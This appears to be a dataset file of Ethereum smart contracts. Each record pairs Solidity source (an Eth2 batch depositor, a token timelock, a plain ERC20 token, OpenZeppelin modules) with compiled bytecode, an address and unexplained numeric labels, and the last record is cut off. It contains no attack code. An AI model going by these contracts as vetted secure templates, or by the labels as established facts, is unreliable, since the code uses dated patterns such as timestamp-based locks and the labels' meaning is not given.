// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.10; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "../contracts/interfaces/IDepositContract.sol"; contract FigmentEth2Depositor is Pausable, Ownable { /** * @dev Eth2 Deposit Contract address. */ IDepositContract public immutable depositContract; /** * @dev Minimal and maximum amount of nodes per transaction. */ uint256 public constant nodesMinAmount = 1; uint256 public constant nodesMaxAmount = 100; uint256 public constant pubkeyLength = 48; uint256 public constant credentialsLength = 32; uint256 public constant signatureLength = 96; /** * @dev Collateral size of one node. */ uint256 public constant collateral = 32 ether; /** * @dev Setting Eth2 Smart Contract address during construction. */ constructor(address depositContract_) { require(depositContract_ != address(0), "Zero address"); depositContract = IDepositContract(depositContract_); } /** * @dev This contract will not accept direct ETH transactions. */ receive() external payable { revert("Do not send ETH here"); } /** * @dev Function that allows to deposit up to 100 nodes at once. * * - pubkeys - Array of BLS12-381 public keys. * - withdrawal_credentials - Array of commitments to a public keys for withdrawals. * - signatures - Array of BLS12-381 signatures. * - deposit_data_roots - Array of the SHA-256 hashes of the SSZ-encoded DepositData objects. */ function deposit( bytes[] calldata pubkeys, bytes[] calldata withdrawal_credentials, bytes[] calldata signatures, bytes32[] calldata deposit_data_roots ) external payable whenNotPaused { uint256 nodesAmount = pubkeys.length; require(nodesAmount > 0 && nodesAmount <= 100, "100 nodes max / tx"); require(msg.value == collateral * nodesAmount, "ETH amount missmatch"); require( withdrawal_credentials.length == nodesAmount && signatures.length == nodesAmount && deposit_data_roots.length == nodesAmount, "Paramters missmatch"); for (uint256 i; i < nodesAmount; ++i) { require(pubkeys[i].length == pubkeyLength, "Wrong pubkey"); require(withdrawal_credentials[i].length == credentialsLength, "Wrong withdrawal cred"); require(signatures[i].length == signatureLength, "Wrong signatures"); IDepositContract(address(depositContract)).deposit{value: collateral}( pubkeys[i], withdrawal_credentials[i], signatures[i], deposit_data_roots[i] ); } emit DepositEvent(msg.sender, nodesAmount); } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function pause() external onlyOwner { _pause(); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function unpause() external onlyOwner { _unpause(); } event DepositEvent(address from, uint256 nodesAmount); } // SPDX-License-Identifier: CC0-1.0 pragma solidity ^0.8.0; // This interface is designed to be compatible with the Vyper version. /// @notice This is the Ethereum 2.0 deposit contract interface. /// For more information see the Phase 0 specification under https://github.com/ethereum/eth2.0-specs interface IDepositContract { /// @notice A processed deposit event. event DepositEvent( bytes pubkey, bytes withdrawal_credentials, bytes amount, bytes signature, bytes index ); /// @notice Submit a Phase 0 DepositData object. /// @param pubkey A BLS12-381 public key. /// @param withdrawal_credentials Commitment to a public key for withdrawals. /// @param signature A BLS12-381 signature. /// @param deposit_data_root The SHA-256 hash of the SSZ-encoded DepositData object. /// Used as a protection against malformed input. function deposit( bytes calldata pubkey, bytes calldata withdrawal_credentials, bytes calldata signature, bytes32 deposit_data_root ) external payable; /// @notice Query the current deposit root hash. /// @return The deposit root hash. function get_deposit_root() external view returns (bytes32); /// @notice Query the current deposit count. /// @return The deposit count encoded as a little endian 64-bit number. function get_deposit_count() external view returns (bytes memory); }
0x6080604052600436106100e15760003560e01c80638456cb591161007f578063d8dfeb4511610059578063d8dfeb4514610244578063e94ad65b14610261578063f2fde38b14610295578063f4fbdfac146102b557600080fd5b80638456cb59146101e35780638da5cb5b146101f8578063a5ab1d311461022f57600080fd5b80634903e8be116100bb5780634903e8be146101835780634f498c73146101985780635c975abb146101ab578063715018a6146101ce57600080fd5b80631b9a93231461012f5780633f4ba83a1461015757806343ba591d1461016e57600080fd5b3661012a5760405162461bcd60e51b8152602060048201526014602482015273446f206e6f742073656e6420455448206865726560601b60448201526064015b60405180910390fd5b600080fd5b34801561013b57600080fd5b50610144606081565b6040519081526020015b60405180910390f35b34801561016357600080fd5b5061016c6102ca565b005b34801561017a57600080fd5b50610144606481565b34801561018f57600080fd5b50610144603081565b61016c6101a63660046109c1565b610304565b3480156101b757600080fd5b5060005460ff16604051901515815260200161014e565b3480156101da57600080fd5b5061016c6106fb565b3480156101ef57600080fd5b5061016c610735565b34801561020457600080fd5b5060005461010090046001600160a01b03165b6040516001600160a01b03909116815260200161014e565b34801561023b57600080fd5b50610144602081565b34801561025057600080fd5b506101446801bc16d674ec80000081565b34801561026d57600080fd5b506102177f00000000000000000000000000000000219ab540356cbb839cbe05303d7705fa81565b3480156102a157600080fd5b5061016c6102b0366004610a85565b61076d565b3480156102c157600080fd5b50610144600181565b6000546001600160a01b036101009091041633146102fa5760405162461bcd60e51b815260040161012190610ab5565b61030261080e565b565b60005460ff161561034a5760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b6044820152606401610121565b86801580159061035b575060648111155b61039c5760405162461bcd60e51b8152602060048201526012602482015271062606040dcdec8cae640dac2f0405e40e8f60731b6044820152606401610121565b6103af816801bc16d674ec800000610b00565b34146103f45760405162461bcd60e51b815260206004820152601460248201527308aa89040c2dadeeadce840dad2e6e6dac2e8c6d60631b6044820152606401610121565b858114801561040257508381145b801561040d57508181145b61044f5760405162461bcd60e51b81526020600482015260136024820152720a0c2e4c2dae8cae4e640dad2e6e6dac2e8c6d606b1b6044820152606401610121565b60005b818110156106b65760308a8a8381811061046e5761046e610b1f565b90506020028101906104809190610b35565b9050146104be5760405162461bcd60e51b815260206004820152600c60248201526b57726f6e67207075626b657960a01b6044820152606401610121565b60208888838181106104d2576104d2610b1f565b90506020028101906104e49190610b35565b90501461052b5760405162461bcd60e51b815260206004820152601560248201527415dc9bdb99c81dda5d1a191c985dd85b0818dc9959605a1b6044820152606401610121565b606086868381811061053f5761053f610b1f565b90506020028101906105519190610b35565b9050146105935760405162461bcd60e51b815260206004820152601060248201526f57726f6e67207369676e61747572657360801b6044820152606401610121565b7f00000000000000000000000000000000219ab540356cbb839cbe05303d7705fa6001600160a01b031663228951186801bc16d674ec8000008c8c858181106105de576105de610b1f565b90506020028101906105f09190610b35565b8c8c8781811061060257610602610b1f565b90506020028101906106149190610b35565b8c8c8981811061062657610626610b1f565b90506020028101906106389190610b35565b8c8c8b81811061064a5761064a610b1f565b905060200201356040518963ffffffff1660e01b81526004016106739796959493929190610ba5565b6000604051808303818588803b15801561068c57600080fd5b505af11580156106a0573d6000803e3d6000fd5b5050505050806106af90610bf6565b9050610452565b5060408051338152602081018390527f2d8a08b6430a894aea608bcaa6013d5d3e263bc49110605e4d4ba76930ae5c29910160405180910390a1505050505050505050565b6000546001600160a01b0361010090910416331461072b5760405162461bcd60e51b815260040161012190610ab5565b61030260006108a1565b6000546001600160a01b036101009091041633146107655760405162461bcd60e51b815260040161012190610ab5565b6103026108fa565b6000546001600160a01b0361010090910416331461079d5760405162461bcd60e51b815260040161012190610ab5565b6001600160a01b0381166108025760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610121565b61080b816108a1565b50565b60005460ff166108575760405162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b6044820152606401610121565b6000805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b6040516001600160a01b03909116815260200160405180910390a1565b600080546001600160a01b03838116610100818102610100600160a81b0319851617855560405193049190911692909183917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35050565b60005460ff16156109405760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b6044820152606401610121565b6000805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a2586108843390565b60008083601f84011261098757600080fd5b50813567ffffffffffffffff81111561099f57600080fd5b6020830191508360208260051b85010111156109ba57600080fd5b9250929050565b6000806000806000806000806080898b0312156109dd57600080fd5b883567ffffffffffffffff808211156109f557600080fd5b610a018c838d01610975565b909a50985060208b0135915080821115610a1a57600080fd5b610a268c838d01610975565b909850965060408b0135915080821115610a3f57600080fd5b610a4b8c838d01610975565b909650945060608b0135915080821115610a6457600080fd5b50610a718b828c01610975565b999c989b5096995094979396929594505050565b600060208284031215610a9757600080fd5b81356001600160a01b0381168114610aae57600080fd5b9392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615610b1a57610b1a610aea565b500290565b634e487b7160e01b600052603260045260246000fd5b6000808335601e19843603018112610b4c57600080fd5b83018035915067ffffffffffffffff821115610b6757600080fd5b6020019150368190038213156109ba57600080fd5b81835281816020850137506000828201602090810191909152601f909101601f19169091010190565b608081526000610bb960808301898b610b7c565b8281036020840152610bcc81888a610b7c565b90508281036040840152610be1818688610b7c565b91505082606083015298975050505050505050565b6000600019821415610c0a57610c0a610aea565b506001019056fea2646970667358221220a4062d030610fdc7a861bbe03c8ab52d86801744ecaa4db4f6bdecb61505ba7f64736f6c634300080a0033
[ 12 ]
0xf2beca662e7e3958e564d46618cab6e78115cc47
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 29894400; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0xdc474129497125eF56718c056A4F805e0A273161; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806316243356146100bf57806338af3eed146100ea5780636e15266a14610141578063834ee4171461016c57806386d1a69f146101975780638da5cb5b146101ae5780639b7faaf0146102055780639e1a4d1914610234578063a4e2d6341461025f578063f2fde38b1461028e578063f83d08ba146102d1578063fa2a899714610300575b600080fd5b3480156100cb57600080fd5b506100d461032f565b6040518082815260200191505060405180910390f35b3480156100f657600080fd5b506100ff610335565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561014d57600080fd5b5061015661035b565b6040518082815260200191505060405180910390f35b34801561017857600080fd5b50610181610361565b6040518082815260200191505060405180910390f35b3480156101a357600080fd5b506101ac610367565b005b3480156101ba57600080fd5b506101c36105e6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561021157600080fd5b5061021a61060b565b604051808215151515815260200191505060405180910390f35b34801561024057600080fd5b5061024961061c565b6040518082815260200191505060405180910390f35b34801561026b57600080fd5b5061027461071b565b604051808215151515815260200191505060405180910390f35b34801561029a57600080fd5b506102cf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061072e565b005b3480156102dd57600080fd5b506102e6610883565b604051808215151515815260200191505060405180910390f35b34801561030c57600080fd5b50610315610954565b604051808215151515815260200191505060405180910390f35b60045481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156103c457600080fd5b600260149054906101000a900460ff1615156103df57600080fd5b600260159054906101000a900460ff161515156103fb57600080fd5b61040361060b565b151561040e57600080fd5b61041661061c565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156104ff57600080fd5b505af1158015610513573d6000803e3d6000fd5b505050506040513d602081101561052957600080fd5b8101908080519060200190929190505050507f9cf9e3ab58b33f06d81842ea0ad850b6640c6430d6396973312e1715792e7a91600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a16001600260156101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080429050600454811191505090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156106db57600080fd5b505af11580156106ef573d6000803e3d6000fd5b505050506040513d602081101561070557600080fd5b8101908080519060200190929190505050905090565b600260149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561078957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156107c557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108e057600080fd5b600260149054906101000a900460ff161515156108fc57600080fd5b600061090661061c565b11151561091257600080fd5b4260038190555061093060055460035461096790919063ffffffff16565b6004819055506001600260146101000a81548160ff02191690831515021790555090565b600260159054906101000a900460ff1681565b600080828401905083811015151561097b57fe5b80915050929150505600a165627a7a723058209a8cd0a868e25ebabe78db61662d09aa3424af77f1c5d05b269e685cf8cef3b30029
[ 16, 7 ]
0xf2bf754d9740783b721cdd70e387aa21c3d60e2a
pragma solidity ^0.5.0; // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Safe Math Library // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract BIGAMMO is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor() public { name = "BIGAMMO"; symbol = "BGMM"; decimals = 18; _totalSupply = 12349999000000000000000000; balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } }
0x6080604052600436106100d0576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100d5578063095ea7b31461016557806318160ddd146101d857806323b872dd14610203578063313ce567146102965780633eaaf86b146102c757806370a08231146102f257806395d89b4114610357578063a293d1e8146103e7578063a9059cbb14610440578063b5931f7c146104b3578063d05c78da1461050c578063dd62ed3e14610565578063e6cb9013146105ea575b600080fd5b3480156100e157600080fd5b506100ea610643565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561012a57808201518184015260208101905061010f565b50505050905090810190601f1680156101575780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017157600080fd5b506101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e1565b604051808215151515815260200191505060405180910390f35b3480156101e457600080fd5b506101ed6107d3565b6040518082815260200191505060405180910390f35b34801561020f57600080fd5b5061027c6004803603606081101561022657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061081e565b604051808215151515815260200191505060405180910390f35b3480156102a257600080fd5b506102ab610aae565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102d357600080fd5b506102dc610ac1565b6040518082815260200191505060405180910390f35b3480156102fe57600080fd5b506103416004803603602081101561031557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ac7565b6040518082815260200191505060405180910390f35b34801561036357600080fd5b5061036c610b10565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103ac578082015181840152602081019050610391565b50505050905090810190601f1680156103d95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103f357600080fd5b5061042a6004803603604081101561040a57600080fd5b810190808035906020019092919080359060200190929190505050610bae565b6040518082815260200191505060405180910390f35b34801561044c57600080fd5b506104996004803603604081101561046357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bca565b604051808215151515815260200191505060405180910390f35b3480156104bf57600080fd5b506104f6600480360360408110156104d657600080fd5b810190808035906020019092919080359060200190929190505050610d53565b6040518082815260200191505060405180910390f35b34801561051857600080fd5b5061054f6004803603604081101561052f57600080fd5b810190808035906020019092919080359060200190929190505050610d77565b6040518082815260200191505060405180910390f35b34801561057157600080fd5b506105d46004803603604081101561058857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610da8565b6040518082815260200191505060405180910390f35b3480156105f657600080fd5b5061062d6004803603604081101561060d57600080fd5b810190808035906020019092919080359060200190929190505050610e2f565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106d95780601f106106ae576101008083540402835291602001916106d9565b820191906000526020600020905b8154815290600101906020018083116106bc57829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600460008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460035403905090565b6000610869600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bae565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610932600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bae565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109fb600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610e2f565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b60035481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ba65780601f10610b7b57610100808354040283529160200191610ba6565b820191906000526020600020905b815481529060010190602001808311610b8957829003601f168201915b505050505081565b6000828211151515610bbf57600080fd5b818303905092915050565b6000610c15600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bae565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ca1600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610e2f565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008082111515610d6357600080fd5b8183811515610d6e57fe5b04905092915050565b600081830290506000831480610d975750818382811515610d9457fe5b04145b1515610da257600080fd5b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008183019050828110151515610e4557600080fd5b9291505056fea165627a7a72305820c48fcf99d94bcbcdc83036fa01c88f54a6bef4a59c354dd4538168a19c88a6460029
[ 38 ]
0xf2c1005e375cb8ffeecf0fdcd256193c382bbdc3
// File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit 